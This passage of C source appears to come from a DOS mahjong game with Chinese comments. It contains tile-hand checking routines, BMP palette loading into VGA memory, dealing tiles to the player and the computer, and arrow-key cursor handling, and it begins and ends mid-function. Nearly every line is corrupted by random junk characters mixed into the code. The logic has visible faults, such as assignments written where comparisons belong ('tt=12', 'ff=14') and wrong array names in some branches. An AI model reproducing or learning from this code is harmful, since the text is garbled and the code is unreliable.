# R: L2 y# ?+ o5 y{
' B4 {5 k9 l+ x. Skl=kl+2;
5 M+ Y$ B+ `  S* E: V: I3 n* Cif(kl==8)* w' `3 I8 J) w% {
break;6 v# C, t/ p' Y1 O
}2 c3 p5 k3 u! n* A5 S- {9 U
test[ill++]=pt[kl];1 ~7 P  j$ P2 {  ?, k7 J" ^
}; W4 A& a2 {$ V0 v% ^& E5 R. r
isthree(test,tt-2);
  z8 Z: x* k8 b2 P2 `) q$ Y}
& `+ ?2 g& q+ s* k2 ]) e( K} * x) r' Z: o+ h# K
else if(tt==9); Q5 N# g  N. C& H6 L" G6 p, I
isthree(pt,tt);
5 p0 b4 m3 x1 p, [1 c6 \. E9 L% eelse if(tt==11)) G' e3 f. f- J* S
for(i=0;i&lt;10;i++)
# H- U& t! w6 V% z{
3 s& c8 n0 v$ M3 P1 afor(j=0;j&lt;2;j++): S+ j2 }* I( H# ?( p
{test[j]=pt[i+j];
0 U4 w! s4 b2 m( X* p" j/ F}% |# ?8 n5 O9 u8 l6 y
if(istwo(test))
- U4 y: l( e! j& s( y# j! S! }{ ill=0;
, ?1 \# ~$ F! G- q9 m* ]* m: o: vfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
) X6 l$ L* R/ x' }/ f, w$ T{if(kl==i)
& W. X5 T8 ]2 _' i% M4 u{
0 L& F; ?* J. [; V* a; Lkl=kl+2;
6 l; S& _, C% b, _1 R9 Eif(kl==11)4 q6 I# j& i  K5 I% b' G. ?
break;
& a, d/ P3 ~/ p( T4 q' Z: L}' B: o5 L0 h0 q( n5 Z4 a+ J
test[ill++]=pt[kl];
4 t$ l" K4 t  F& {1 ~  n1 Y5 Z6 `}& o# r# `  B/ L9 I: m( `3 k) W4 |
isthree(test,tt-2);
% s5 M) u, k$ L: F}
. `+ X+ O# Z8 K) w+ j( a6 Z}
. b  O" }/ j, Z1 @else if(tt=12)
+ S5 {- B& k! N% j) l- {isthree(pt,tt);3 d$ x/ n. ~* `  k$ V6 G
else if(tt=14)
' F) z1 q; g( B, K0 g/ d( a; Wfor(i=0;i&lt;13;i++)& H8 k+ ^$ W4 {& K2 J4 k
{9 j- Y1 k2 m: s6 Q
for(j=0;j&lt;2;j++)
  d4 N4 B" d: B3 F" P{test[j]=pt[i+j]; 5 V" y) b* @+ Y
}
* Q- T+ M5 l! Y% W" ~" ?; sif(istwo(test))
" D% i9 i2 ^0 p& M6 x* n. D{ ill=0;
% g. y  I, ]; Gfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
) d+ r: x5 a8 k# g. k2 A{if(kl==i)4 G* S5 u+ v% @: ]5 [
{* k" F0 p! x; Z
kl=kl+2;' q' [* E+ L, t8 O
if(kl==14)
$ H2 r. Z% f, K3 |break;, U6 P6 s* }( D8 A
}
# W1 }3 g  v+ I% V" y5 @test[ill++]=pt[kl];
; `8 d$ b9 y9 W, K' B4 `}4 W/ r2 K7 o3 L" ^3 |4 G( R
isthree(test,tt-2);
; \" y' f( ]1 }3 @$ n4 p) [}* L. B* u6 w5 u
}
& [* W0 [8 [0 ]if(ii==2)
8 }6 }, _/ V! {2 G3 S4 Listwo(pi);
: o1 C+ x7 M. w( K/ F/ Eelse if(ii==3)" `9 H/ c) U; F* c1 @8 Y3 x
isthree(pi,ii);5 q& x! O: d- W/ `
else if(ii==5)
" \. Z& M* o. s( U8 S1 j. ^/*pi[5]原始牌数组,假设已经升序排列*/4 w6 u& j7 Z& u$ r+ x& C; C
/*test[3]用来放置测试牌的数组*/
& i$ J. U/ L9 L' t/ m0 Rfor(i=0;i&lt;4;i++)& s: k# s( [$ y6 e+ G% H+ V: u* w
{
* l& P# H! {3 N( W7 U0 b1 Mfor(j=0;j&lt;2;j++)& d* V( i4 }# q* o
{test[j]=pi[i+j]; $ Y; L$ |  O4 N. b$ }4 [) w9 O
}
# e' C, h8 B0 z* U1 uif(istwo(test))3 P& a' r& X3 l1 D. f( N
{ ill=0;
2 t" e! b! U# q* N+ n5 [for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
! g3 S8 [4 i5 i8 f+ @{if(kl==i)0 p  D5 B+ P' `+ H1 c8 h
{7 m! v# X; _. L1 m" o
kl=kl+2;+ |' T2 b" Q5 ?9 r- P* |
if(kl==5)2 r: T" e: K" ^" k, M: P( R! H
break;( ^! b" X: [1 ]
}
+ d2 r  H! N( ?test[ill++]=pw[kl];
) t+ _9 `8 Y3 \0 t# K1 }$ a$ V! e}! E- S; z( W6 R8 @: Q
isthree(test);
! l7 S" L3 ]: ~" S* a- R' @}5 L3 k! g; U& D8 t0 J- x
}
0 ]4 ~& u5 c- Z( J! Z( }else if(ii==6)& |6 }- ^# o+ k0 x& Q
isthree(pi,ii); / s& ]& Y! M: z( f( M9 }8 c6 G
else if(ii==8)
3 x5 o" B, g# l2 G5 Ufor(i=0;i&lt;7;i++)
( I& d9 \' t- M- K2 E- v) w{
: T9 m' i+ s3 P( n+ h9 Sfor(j=0;j&lt;2;j++)1 v2 b: k, m: n; K7 Q% e
{test[j]=pi[i+j]; % G% m) c3 n% V0 K5 ?' }0 P0 P
}
9 O" O( k& b$ x  y9 \4 Jif(istwo(test))
4 E+ K! @  y0 W5 _/ M. a+ z4 o' M{ ill=0;
/ k/ i0 t' J) v( lfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/9 y. \) e: m% G( v& R. ?+ R" K
{if(kl==i)
$ _- s/ i' V  F$ O( K  b2 t, ?{
+ B4 E4 y2 g5 I3 n, @3 q3 B$ M, {, Pkl=kl+2;
3 w3 u0 K0 @0 J( A. kif(kl==8), ~. q' `3 r1 z
break;& w8 l7 b9 X$ d6 ^1 ~+ I
}
2 C4 K- D8 g. Ltest[ill++]=pi[kl];5 O5 N4 @8 Y, c8 H! C
}- L/ I( f* [% v5 Y
isthree(test,ii-2);
& h: `% s5 z( k6 y2 c}
% u6 H3 w0 F0 P6 D2 a}
8 @& j( {( v* \' nelse if(ii==9)- j2 S- x8 V& z0 _" H
isthree(pi,ii);, y" g& @2 A5 o1 l
else if(ii==11)
. U' P2 y3 U- B4 N1 Zfor(i=0;i&lt;10;i++)- U$ J, `& j: J% i8 T- f
{
9 Q; S4 Z( U0 Q% tfor(j=0;j&lt;2;j++)
% u/ Z" j1 u% i. H* E% |8 ~{test[j]=pi[i+j]; : u' g" ^/ A% a9 b# j+ H9 C2 Z8 {. ~
}
8 s; u* X2 ^5 d+ \0 D. mif(istwo(test))+ `' H, A3 P! O0 `
{ ill=0;
7 a% `; S. Z5 k/ \& b( V" D! |for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
, e2 C& [3 a# Q- I2 Y8 V{if(kl==i)
3 k! P+ z* g" W  e; I* E5 h{
+ r- S3 X: ?6 z2 G! `; B7 bkl=kl+2;, H) S6 k6 M9 d; y' T
if(kl==11)
" `. g& t. a' l0 d$ R$ S6 R4 zbreak;  L* X8 C9 E& T9 k% ~
}$ I/ o* M0 x# i4 `& s% S
test[ill++]=pi[kl];
  M6 e' f6 h3 d2 g4 O& z* g5 k}! w7 X% @; W1 k0 _
isthree(test,ii-2);
& @0 Q% |. m& t}
' ~9 i. V( O! _! ^' s* i( a. f} # T$ }3 p7 W% s+ d4 `
else if(ii=12)  K0 H) T9 x' }; ?  K" K/ p
isthree(pi,ii);0 U3 C& \8 Q' h' n; U$ i0 o4 q: k
else if(ii=14)) p. V! N9 m# B  L8 l0 {4 n) p' w
for(i=0;i&lt;13;i++)
- I8 a: Z0 F1 I{
& y) R' J5 f2 ]0 l3 a+ `+ e0 ~for(j=0;j&lt;2;j++)
# s' ?% G, [" [" C. Y" L3 J{test[j]=pi[i+j];
+ J0 J- L1 F0 ~& p, ?}$ d! O# ~8 P3 b- G# q3 ~
if(istwo(test))$ t: W4 B$ }: @, V
{ ill=0;
) {7 x. T3 n& f! I: Z3 |0 ofor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# Z" \7 \# Z& _" ^% {" P' J{if(kl==i)
/ S& E8 @& P3 U0 R{9 j( i/ u) {. b; m4 d2 I2 g5 P
kl=kl+2;
3 U+ y! z) L- [if(kl==14), {6 h/ N' M7 g
break;( A4 U" Q+ I/ ~2 ?
}7 o# q0 W1 W3 I2 D0 e9 [
test[ill++]=pi[kl];
* q  d/ C, R7 B: @! v5 \1 u* ]' Q}) X) R/ z* m/ |: v' W& Y
isthree(test,ii-2);
( L) }: `% v2 i$ P3 ~3 T1 T7 @}
* q4 L8 _/ C/ Z}
+ \' Z, q) A% H7 F1 tif(ff==2)
2 a3 C/ `7 B3 c' V, N2 fistwo(pf);
8 ~) ?0 U8 N1 d" c* J2 G& p& melse if(ff==3); ~8 M1 I3 i6 N7 ^4 |
isthree(pf,ff);1 F) I. M6 w3 C; |6 b$ e
else if(ff==5)
" E5 D6 M1 ~) g) ^  ?/*pf[5]原始牌数组,假设已经升序排列*/5 s2 z$ V& m7 D) G
/*test[3]用来放置测试牌的数组*/
: `0 r3 b0 o2 j; wfor(i=0;i&lt;4;i++)
3 F& K- ?$ ?  A2 w; }{
$ ?  L* S5 C  B: t2 b7 dfor(j=0;j&lt;2;j++)3 k& Q/ [/ _4 }- e* \
{test[j]=pf[i+j];
  @; M0 K6 v+ H: e}
$ S' V% }2 q7 N* t( w- R+ N; h& `1 \if(istwo(test))
8 E  d6 ]- z4 r1 @% }4 l+ A{ ill=0;
' w! B5 w) W) l1 zfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/* x; O6 c: a6 K$ b
{if(kl==i), ^. _9 c0 d5 i( A0 Q
{2 H, R, [3 s" I9 h! B
kl=kl+2;% N  d6 W# `( K. a% g. s: ^
if(kl==5)
0 ^- P: z! ~& ~, f7 h' `break;1 T5 p- u4 e1 `5 Y1 q6 H
}9 Q8 a% l/ S0 K& ~- U
test[ill++]=pf[kl];' o0 c: G; T0 {1 i; s
}
) ]* G6 ~( m2 @2 m& n' a0 yisthree(test);- H- R0 ~" G1 u7 W
}! O' H  x' ^; C5 _/ B7 O" ]
}
5 J# V7 w# o: A" C6 eelse if(ff==6)
: v. p! s. V2 Eisthree(pf,ff);
: u; ?# B9 W  `3 ^! }$ kelse if(ff==8); n/ d& {1 K3 q( v+ I
for(i=0;i&lt;7;i++)0 p$ a) B  L8 \6 I' `+ @
{" ]3 X/ d- N& h6 \1 R
for(j=0;j&lt;2;j++)
+ L1 s4 _& V, U: f8 |5 S( J{test[j]=pf[i+j]; . [9 p: S. S5 m$ T3 a/ o
}
8 U- h( w5 F$ E* Z5 ~* n; S2 N. yif(istwo(test))
1 {9 v# i" C. R* a1 B{ ill=0;8 y9 j5 @' ]4 c7 r$ }
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/5 J# ~1 ~, [& W" @7 l) n
{if(kl==i)" @! f7 W+ q) n9 ?0 Q  x1 {" z4 T
{
* G5 ?# G" w3 e( |! ?kl=kl+2;
  o6 ]8 s5 v8 p6 j6 c. gif(kl==8)+ h! f' v7 V% i, w8 R
break;3 v: ]+ k) `: h, z7 K
}0 ?- j- `" t  N9 i# Z% f
test[ill++]=pf[kl];- P0 e3 E4 m9 e- N4 c  e6 M
}
( }6 v+ J4 `; T' ?% w1 S; Pisthree(test,ff-2); 6 g/ u+ |$ J  \/ w$ ]* B
}
1 a$ E% S% I/ J6 q( m7 ~}
5 q0 U+ y* E* h/ N1 s$ k3 b! {' nelse if(ff==9)
1 B1 F1 f1 o+ E: @isthree(pw,ww);
* @* I  F% _3 a4 D* S2 velse if(ff==11)+ O3 G) T+ N7 I2 d& V7 ~1 g! i) ]0 i
for(i=0;i&lt;10;i++)
( @, F! J9 g6 l{
, ?$ T+ Y) l, D- s, rfor(j=0;j&lt;2;j++)
3 Q& i  T, C" s{test[j]=pf[i+j];
+ V% X  |4 j. K9 r}- U1 X1 ]; k; \+ i$ s) r1 K
if(istwo(test))7 n" }$ k1 S1 b, h% y! ]5 e
{ ill=0;; ]! k5 x, E: V( C# @
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/) }$ W8 Z8 V, V0 P8 e
{if(kl==i); K7 O( X6 _2 Y0 ^0 R! G
{
3 f( H# M+ `2 ^9 c* Mkl=kl+2;
  t7 f' b' p' N; Oif(kl==11)
3 g( o8 u1 [! z- b3 A, fbreak;
" N) r) F8 u+ m5 a}% T  k* Y+ N. W6 @. k+ _5 t& @
test[ill++]=pf[kl];
+ F! v" `0 }( R% E}: @  a* D8 J) O; R* b) b
isthree(test,ff-2); ( Y: F, f) ^% {  p* o; Z
}. c, y) w- T4 r4 Z0 S, z
}
; I" S0 h7 \: b* `0 R, {0 Qelse if(ff=12)6 U! I5 N0 E1 ]% @' M
isthree(pf,ff);2 m7 x" E. H( D! B# D- W7 a
else if(ff=14)
8 z8 x$ w# F# f/ E( h6 Ffor(i=0;i&lt;13;i++)& T" ?+ T* a. V2 U8 }
{& I3 h+ q+ R" Z% ?! [, u
for(j=0;j&lt;2;j++)' Y' l/ E9 [3 r( `% Z4 C7 I9 O
{test[j]=pf[i+j]; , k8 H! k4 [3 Q4 C% ]4 n
}3 P* j- y0 D0 I6 l4 ]
if(istwo(test))
" x' Y' }) g  z/ \, }' V- a4 Y{ ill=0;
, U0 ]5 s7 q; k" ^+ x7 @for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
9 y  m% t! ^% d. D3 [{if(kl==i)6 u0 l+ Z, v3 n3 }/ v' P
{- @  k5 E5 p% h) \) `$ ]& H1 t
kl=kl+2;* D5 [8 a4 a; J3 _
if(kl==14)2 ]" e9 o  I9 H
break;
* o0 p% ~9 _) P; F}
; i- Q' _  A/ ]6 d* }: I2 Y) d# r% P: \test[ill++]=pf[kl];6 d' l' I5 r- T6 w; |
}' d+ L. _, ]. ?
isthree(test,ff-2);# k5 M9 \) A0 P! T2 J" ]% m
}
, @9 a/ x- T7 v7 K  z5 `} 6 Y+ k; N4 ], x( V' g5 F4 ~
}
) j$ q5 L; z6 Q, p  cvoid main(void)
* M* K) s( i$ U4 n" I. F1 b" i{' ?' l9 Q5 {( M: R9 Y' x
FILE *bmp;
2 o" [% v# L- S  Z2 V* m- R2 a. \1 ostatic char *name[2]={"ff.bmp","logo.bmp"};
: r  v3 S# n1 J$ u6 lchar *p;; H0 ]6 F. H. H8 d+ j  k
int *lingshi;! g' t8 O, K" q6 ?1 c
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;* j5 @* q5 s9 m! a) n
int every=0,w=0,x1,x2,y1,y2,every1=0;3 ~" E4 Q  \  ]
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
% M! U- g/ z% `$ rBYTE palette[256][3];% W* N0 x; J7 r/ M% R( c
SETVGA;
& f; O3 k, c! H8 Y. N+ ]6 m& r% n$ lgetch();3 t; M" J5 R+ Q3 q. w( m+ g
while(t--)
) d- [1 U2 y1 F& Z{: E8 n9 r5 m) j; P% `6 c, t
bmp=fopen(name[t],"rb");
+ q+ G7 u- s' S/ pfseek(bmp,54,SEEK_SET);3 z& D' M1 ]& q4 t7 Z& G0 ]( v
for(i=0;i&lt;256;i++)! }/ H1 R  }1 X7 R) `1 h
{
4 r; [6 ]$ L+ ?7 q+ ?) apalette[2]=fgetc(bmp)&gt;&gt;2;
8 _  x. G+ S9 Npalette[1]=fgetc(bmp)&gt;&gt;2;
/ O5 t8 b+ D  j. D" \8 Q- }& p7 v1 Gpalette[0]=fgetc(bmp)&gt;&gt;2;5 K2 ?$ {' \: T. v: U
fgetc(bmp);) ]. X% O. j$ L
Set_Palette(i,palette[0],palette[1],palette[2]);
# p7 {" s5 [% s6 I2 V, `" E}% ^) ^7 V' ?- v& y) U8 d
for (y=0;y&lt;200;y++)
# h; t1 A' K& ^8 a3 F4 tfor(x=0;x&lt;320;x++)
: I; ^$ K! ^4 S+ k% q: D( K" Dpokeb(0xa000,y*320+x,fgetc(bmp));
5 E9 G5 B1 V6 sfclose(bmp);
% r  J; f; y0 d4 l5 e* s8 rgetch();, J1 B! u+ z! n1 f' ]1 K
}& `/ [& b5 Z% G: Y% c
getch();$ f& ?5 S. l5 j6 }# k# ^
fillRectangle(0,0,320,200,0);( o  A# r- r  c1 H3 x- T9 @$ |
getch();
) R; Z* O$ Z& r7 Rrandomize();
, y, Z" E& o1 k, n4 G% [me.m=onetothirteen;
: o! x+ @0 F% q9 P3 s, U4 Jwhile(me.m&gt;0) /*先循环,给自己拿牌*/& z" l# n/ ^( [7 r6 _% i, q9 N: |
{
+ B) g5 B7 R' U& w
0 g7 s& G/ G; i8 Ytemp=random(136);  g, o2 \! t' L: r9 Y. q- [
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0); w6 ]# T9 X  c
{# R( q$ P+ S9 R3 l
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/& ^8 z- k3 H. I: t' U+ b
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
5 [7 g* `) _! o- eme.pp[n].number=temp; /*第几张,用来排序*/
0 j7 O/ {( U5 M! l1 m# @m[temp].data2=1; /*判断牌是谁的*/
- ]9 V, K: d" ~, l7 A! qkk=1;5 _9 ~; w) k' ~; t
}, J4 z. I4 G; k$ o6 i
if(kk==0) /*判断如果又选择了,就从新再选*/  y6 U, d4 U  h$ _) B& K
{ 6 I* a% \. }& Z% r8 `. }
me.m++;
% V' g9 U! I# n1 t+ J6 V0 Sn--;+ @6 |/ L- N& e+ Z9 V# V! A; r
}# L# |" t3 a( u6 X8 Q* M, o
me.m--;
; ^- s6 d  G! O" a" F, @4 B3 A: Gn++;
9 h: U/ J4 T6 f8 i3 F6 g. e4 Qkk=0;- Q" \7 j- ~$ ^) b5 f3 ]
}1 M( R: @7 R  e- \- r8 K6 K. {
me.m=12;# @) Q, G+ X6 I  R/ r% c4 h2 q
melipai(); /*理牌*/
3 q$ E5 A) X: Z8 J* d8 n+ L$ S7 ]+ t& F
n=13;* s2 C0 M* S+ p6 w/ c( |# |
while(l&lt;n)
0 w. V  w2 b! ^, l{9 s. L' B1 v" @5 o; |' M- d
z=z+20;- z- @, Q) X: r: s
showbmp(l);
* W5 {; r+ l, o* B/ }! al++;
! G' `% u$ @5 D% J* [
6 u! |# V& l9 Z' k( G: J+ B9 B$ d7 X}
5 a$ @* T9 u" {2 C" u  N( crandomize();
5 e3 R; u' ^. l+ Z( P) acomputer.m=oneorthirteen;
: F- u5 q6 z& a# qn=0;' B- ~/ ]$ V: ]2 d8 S: r5 K% O. F
while(computer.m&gt;0) /*循环,给对方拿牌*/8 `; \: j3 Q; H* P5 ]7 k
{9 M; r  M6 L: p
temp=random(136);/ R- h8 M7 f( Z- G2 T
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
4 i8 K. Y  t% z1 x+ ~{
$ g& N) E4 q6 r( u. H3 J) T6 Gcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/1 O  S( w: e: F$ A% j9 I+ q2 k% v
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
" o/ L5 E! N- d( N- F" B' q3 tcomputer.pp[n].number=temp; /*第几张,用来排序*/
" s6 h5 s/ o1 A# Y( h% U* s1 Em[temp].data2=2; /*判断牌是谁的,2为电脑*/1 {5 o* @) G1 R/ |# y! T
kk=1;
0 f( l9 K3 j/ B$ {* H}
3 R# C/ Y$ O; ^$ O; x2 nif(kk==0) /*判断如果又选择了,就从新再选*/
% B4 S; g$ e1 n% J7 o  O8 y7 v& N+ F{ 5 Q0 E* N# a; I# C6 ]" @4 D" ^
computer.m++;- K9 b: f1 o+ e0 M
n--;
8 h+ k+ \. v9 s3 m7 ^- {- I}
8 x. ^* g3 o% V0 R3 ccomputer.m--;
4 i2 x! }- @' b; l  L/ y& kn++;# w  V$ s3 D" d0 L( d
kk=0;8 y: w9 K2 c* p  N" ^* W* t1 u
}
; ?6 D% P; {5 Scomputer.m=12;
" D  X4 a+ J& C3 n/ Y/ kcomlipai(); /*电脑理牌*/
+ _( t- n1 Y8 B. G- xn=13;
/ k1 R2 S/ K$ Zwhile(ll&lt;n)
1 w, [9 k$ u4 E$ K{
. ^' i& f& W6 O. V% uzy=zy+20;) K! |7 p- H. Q  l7 o* d. i, R- C
showybmp(ll);0 g5 N) O, v( o" i+ r5 v
ll++;
6 {! @  I* o! x1 ?}
: X4 ], n) u# m' b: p4 `3 O* b, v# v# Z
z=54400;
! N& n/ [0 h( k3 {6 `7 N8 Xwhile(key!=ESC)6 U9 y8 b" {9 c1 f/ f& z; `
{
& v3 B4 g. d% H; ^' z( L9 {) m# a# Z, @7 J# I
keyy=bioskey(0);9 L! ]( A' ^! o, W$ E6 G9 M( I; {- o
if(keyy==LEFT) " f9 c3 N$ V% @5 m$ A
{ w=1;: v  ?. S* U+ m: V  V: s+ V0 w( S
if(every==0)$ [$ H" z# _# l5 c2 x0 L) a
{* Y" V6 {) O3 J+ {9 T
every=1;
0 t) p2 I! ], E/ \z=54440-5*320;, E( W5 F: G- B# _

" f$ t3 o& o: S5 A}/ V+ G. V+ q5 @6 n2 D
zz=zz+5*320;* Z. V) q+ E2 c& V, q9 u
showbmp(every);
, c! x' E# E# q, ^. ]4 j. }if(every==0)
9 U2 Q4 j* C  E7 ^/ q2 C{
0 A' l/ x' s, Z; Z& `, Lx1=20;! ?  t& }, J2 k
y1=165;
, x7 Q& S. i2 o4 t6 vfillRectangle(x1,y1,x1+20,y1+4,0);
! i. f4 m. @6 u' m! a3 M}
: M7 P$ f6 ^4 E' _2 C0 \& l2 i5 N/ Cif(every==1)' W, p8 b8 V$ P+ w& S
{
( ~" R% n3 {- [% @6 B8 g3 G( Cx1=40;
, i# X3 L! w9 r0 K; z1 jy1=165;
! W3 X5 V7 P  O! kfillRectangle(x1,y1,x1+20,y1+4,0);) E" l+ t2 `5 a& M! q+ W2 h
}
; T, S5 k2 ?2 C1 ~1 @* i4 Cif(every==2)" k- l5 v4 Z3 e
{0 G8 U6 f& p& t' |. ?8 ?! K9 w! Q
x1=60;6 j7 d- e* M# y% X& g, |, X
y1=165;
  B: V' Q5 g1 g4 N) G9 pfillRectangle(x1,y1,x1+20,y1+4,0);
; A) Z% |* V+ w" z8 \}
0 V" t" _' b* |% \. @0 J1 Hif(every==3)/ E8 u  T  Q. o$ O0 x7 k# O1 k
{4 z1 \$ G7 i  f: N: c9 Q9 U
x1=80;, I# u8 [: v" E6 S
y1=165;
9 m! \) b# V: S5 V8 sfillRectangle(x1,y1,x1+20,y1+4,0);, l* x3 ~# h, }* O
}/ I7 W, w% b% ^, s3 [
if(every==4)0 K- D- [# `+ X; l7 F
{
7 V, J7 w+ O3 H* n! T) H6 ox1=100;
% b+ F$ q. Z  K& F/ Fy1=165;
  O% k3 B$ o% F# IfillRectangle(x1,y1,x1+20,y1+4,0);1 t4 g0 f7 E) ~
}
  x) l- M2 |* B( x# n. Vif(every==5)- c. k+ t3 J; S9 G5 o- D
{( [1 a2 O+ M  D1 ]9 R
x1=120;
1 W2 C, [) {0 by1=165;! M3 w- c( b9 X* s' O
fillRectangle(x1,y1,x1+20,y1+4,0);
7 d) H, m! q& a  _9 n" x2 e$ s+ A}! e. F. s3 n- B% y) M; }
if(every==6)7 E% {: u7 A5 u0 r3 z
{
0 b  h, V+ z* T; v/ h- }" xx1=140;! i9 @/ u5 J1 X0 {- A
y1=165;6 X. F) m& W6 b  c
fillRectangle(x1,y1,x1+20,y1+4,0);
$ S3 S% l  R, X) M7 ]( p! |+ X}
" @0 v; T" I1 T/ Z2 lif(every==7)
5 A3 E8 a. Y1 R, P$ b4 J  D{% k( t, y6 ]( V* M: I# |  H
x1=160;9 V# G' H9 I( G, K7 t: R
y1=165;8 Y% T" G) D. r+ J2 q* I; W
fillRectangle(x1,y1,x1+20,y1+4,0);
- y' {7 D% a# U; `}
) d  @: C& l. N- }8 h1 [2 o. p) |; k' tif(every==8)
, t$ D- y  p2 u% I6 O{
* C  W; _9 Z' {- S5 _# ix1=180;
, c. K3 W; g: Iy1=165;
2 o! r( O& x; `. efillRectangle(x1,y1,x1+20,y1+4,0);* L% y/ i) `, ?- B
}- s/ h8 [& M2 v
if(every==9)
4 Q4 d8 \# J+ q{% A9 A( R" N/ X, x
x1=200;8 S; a  m  d' q+ \
y1=165;# R6 D" W* L% R( i- N* U0 {
fillRectangle(x1,y1,x1+20,y1+4,0);
: c$ O& P) d; n9 z* H}
/ r9 N, W9 P0 O1 _! a7 V- Vif(every==10)# j2 p' u5 u6 t5 l% s% w  R, n
{. R  M. m/ H! G+ q
x1=220;: B# B% @' m5 A# `( t
y1=165;4 x" c, m" g8 }! D/ P. c; R5 o! ~+ |
fillRectangle(x1,y1,x1+20,y1+4,0);& U% ?0 {* {, W/ w4 N$ B4 P
}/ l) D' }, S& m: }8 @* D% q( X
if(every==11)
1 g; |" C; ]! z9 m! z' x{
) u. g6 V7 X; E8 j: ^- ex1=240;
4 |& P) ^: N" B' I$ U3 }9 x/ iy1=165;
9 F* u4 g1 {2 d6 k( ^fillRectangle(x1,y1,x1+20,y1+4,0);
' z" s& x& R& a  A* T+ ?  H}
! Y& o( b4 U# |* Iif(every==12)
8 ?0 D  Z8 r( N8 J% R{  A7 N" \8 k+ V3 ]
x1=260;! ~# B7 _( I: O, f" n
y1=165;; k) I0 F) ~( e9 T! x
fillRectangle(x1,y1,x1+20,y1+4,0);
& t' k6 ~6 N5 s& @; I}% a# u$ n& }0 g7 E* b* r  j6 ^
zz=0;
- U3 a! g# u1 \2 S4 Yevery--;* P+ N3 l( U, V  y# N: e. ]
z=z-20;
% g1 L# x  @; H9 D}
# L, r' h* ~- `if(keyy==RIGHT)
4 I5 e  B7 L& c2 ?- t* z! u{ if(w==0)
+ C6 F# p+ U$ g  d* v: ^{" {7 {. _: H. f' g8 J( }/ M3 \
z=54440-5*320;
$ V: V8 ~) ^& s1 l! y% Tz=z-20;
- }7 y, f! F+ f/ Qw=1;* M3 P' A' q8 A* Z  k
}
- c, f+ v( i# G0 V+ Bif(every==12)
: v1 T5 @. P  |3 ?0 j; M! f: e{
' r; O2 X) S& Y7 |& w6 jevery=11;
" Y0 u9 R& y+ L+ ^4 f7 W- }# xz=54640-5*320;+ N% C& g' P. h) _. V
}
: a9 J$ p9 M4 @& v# ozz=zz+5*320;
2 ~5 l: ^0 U# I( {9 j+ _showbmp(every);" D- J- [! D8 l0 r0 h% T7 Z# I
if(every==0)
/ ?/ g- C: i3 r+ O; E1 n{, u4 A+ C. m% @
x1=20;) X; Z* i* X3 L8 @. h
y1=165;+ F- k6 L) q/ V4 O2 D- @' b
fillRectangle(x1,y1,x1+20,y1+4,0);2 }! _) _( n  [1 r% |
}! e* z! ^( R: q" z, o. R4 U
if(every==1)( a# \* P3 D5 w! R. m  h' C) ^+ K
{
$ s5 O0 L, K3 a" v- k- O& h' Sx1=40;
0 \1 z6 }) [. j+ k/ By1=165;
8 `/ }1 w* I# H3 c0 [" x! vfillRectangle(x1,y1,x1+20,y1+4,0);' }" F  O: I$ C
}! S0 z" m- M; Z9 ?
if(every==2)0 e$ N7 e# x: m# O$ o& R
{1 |: j# h5 F4 x2 f
x1=60;- _$ y: j; L* [# _
y1=165;; J$ C+ d& f' ?- ], ?; P1 ^
fillRectangle(x1,y1,x1+20,y1+4,0);/ ~. m$ }" D. K5 b, X5 I$ J
}5 a1 |: T0 M: W8 f7 p
if(every==3)
0 i8 |) [7 O) a5 @{
, K  m- i4 @$ Dx1=80;+ N6 ?2 ?! |, B6 W6 T, u2 M2 _
y1=165;
7 |( v: k8 n. \4 ?4 \fillRectangle(x1,y1,x1+20,y1+4,0);
$ v4 L4 V5 E# E5 g}, X5 y4 L& {7 g2 F3 }) y3 r/ L
if(every==4)! q  D+ D9 N# z' s# O3 b
{
9 ]3 X$ a( s* ]! e0 \, H: a; Bx1=100;4 f2 {/ a( |, M) C4 U! I
y1=165;, ?( L. ]% I* b0 ?
fillRectangle(x1,y1,x1+20,y1+4,0);
- ]6 i6 z( n( m}
- W0 m5 {# y8 K7 q/ h: mif(every==5)- V6 Q7 I- i7 |% f& a. W8 Q
{
# j7 L7 J$ i4 L: d. px1=120;
& A! b3 i8 N4 l3 V7 B1 Ny1=165;
+ G2 ]- @& J! I4 M' W. j* s5 X8 efillRectangle(x1,y1,x1+20,y1+4,0);
4 l* n( t" }7 R1 ]8 u. l}
/ O$ L4 g- q( K7 [! h' g& X# Oif(every==6)6 L3 k" z. f! [. `& a+ l
{
: {2 Q+ s* X3 Ox1=140;
4 o1 T; w6 Y4 ^8 Ry1=165;
' A1 I4 ~. W/ y* X1 V; QfillRectangle(x1,y1,x1+20,y1+4,0);- K! M) f4 ^( m' ^
}
4 G, `1 `" M9 f2 yif(every==7)
* q! _9 |0 ]/ c- }) Z1 X* V{
% w4 S4 `$ H: `: ox1=160;3 Z  m6 ?* C: o+ r
y1=165;9 B6 `) B/ W, e6 b
fillRectangle(x1,y1,x1+20,y1+4,0);
; z' }: r. u6 V. k. k+ s5 j/ ~- j}! V; p  _  E& F8 r+ ~* ~/ X
if(every==8)
' X( ^: s2 ~: E1 b1 ?2 h( S6 b{7 J+ `+ r* q5 A' N% y. Z! N- ^
x1=180;
  O' s: _& T3 W- K5 q! ?& c9 L# Yy1=165;
  y0 {* a' p3 H  x5 }2 U  }. qfillRectangle(x1,y1,x1+20,y1+4,0);
2 j$ q/ O) c$ j7 [/ [}; C& ~5 I  B& g  h/ v9 p
